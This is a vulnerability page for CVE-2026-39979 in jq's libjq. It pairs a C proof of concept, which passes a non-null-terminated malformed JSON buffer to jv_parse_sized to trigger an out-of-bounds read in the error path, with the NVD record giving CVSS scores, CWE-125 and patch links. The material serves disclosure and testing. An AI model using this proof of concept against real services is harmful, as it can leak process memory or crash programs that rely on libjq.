CVE-2026-39979

/* * PoC for CVE-2026-39979 * This code demonstrates the Out-of-Bounds read vulnerability in libjq. * It attempts to parse malformed JSON without a NULL terminator via jv_parse_sized. * Compile with: gcc -o poc_cve2026_39979 poc_cve2026_39979.c -ljq */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <jq.h> int main() { // Initialize libjq state (required for newer versions) jq_state *jq = jq_init(); if (!jq) { fprintf(stderr, "Failed to initialize jq state\n"); return 1; } // 1. Create malformed JSON that is NOT null-terminated. // This represents an attacker-controlled buffer. // The buffer contains '{"key": "value"' (missing closing brace). char malformed_data[] = {'{', '"', 'k', 'e', 'y', '"', ':', '"', 'v', 'a', 'l', 'u', 'e', '"'}; size_t data_len = sizeof(malformed_data); printf("[+] Sending malformed JSON (length %zu) without NULL terminator...\n", data_len); // 2. Call the vulnerable API jv_parse_sized. // This tells libjq to only read 'data_len' bytes. // However, if parsing fails, the error path uses %s which ignores the length. jv parsed = jv_parse_sized(malformed_data, data_len); // 3. Check if parsing failed (expected due to malformed JSON). if (!jv_is_valid(parsed)) { printf("[!] Parsing failed as expected.\n"); // 4. Retrieve the error message. // Inside jv_invalid_get_msg(), the vulnerable code path is triggered: // It tries to print 'malformed_data' using %s, reading past the buffer. jv err_msg = jv_invalid_get_msg(parsed); if (jv_is_valid(err_msg)) { printf("[+] Error message retrieved (OOB read occurred internally):\n"); printf(" %s\n", jv_string_value(err_msg)); jv_free(err_msg); } else { jv_free(err_msg); } } else { printf("[-] Parsing succeeded unexpectedly.\n"); jv_free(parsed); } // Cleanup jq_teardown(&jq); return 0; }

{"cve": {"id": "CVE-2026-39979", "sourceIdentifier": "[email protected]", "published": "2026-04-13T23:16:27.823", "lastModified": "2026-04-23T16:50:39.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "jq is a command-line JSON processor. In commits before 2f09060afab23fe9390cce7cb860b10416e1bf5f, the jv_parse_sized() API in libjq accepts a counted buffer with an explicit length parameter, but its error-handling path formats the input buffer using %s in jv_string_fmt(), which reads until a NUL terminator is found rather than respecting the caller-supplied length. This means that when malformed JSON is passed in a non-NUL-terminated buffer, the error construction logic performs an out-of-bounds read past the end of the buffer. The vulnerability is reachable by any libjq consumer calling jv_parse_sized() with untrusted input, and depending on memory layout, can result in memory disclosure or process termination. The issue has been patched in commit 2f09060afab23fe9390cce7cb860b10416e1bf5f."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jqlang:jq:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-04-12", "matchCriteriaId": "3004A3C4-AF30-42C3-B872-F9EA2CA5FDAB"}]}]}], "references": [{"url": "https://github.com/jqlang/jq/commit/2f09060afab23fe9390cce7cb860b10416e1bf5f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/jqlang/jq/security/advisories/GHSA-2hhh-px8h-355p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/jqlang/jq/security/advisories/GHSA-2hhh-px8h-355p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}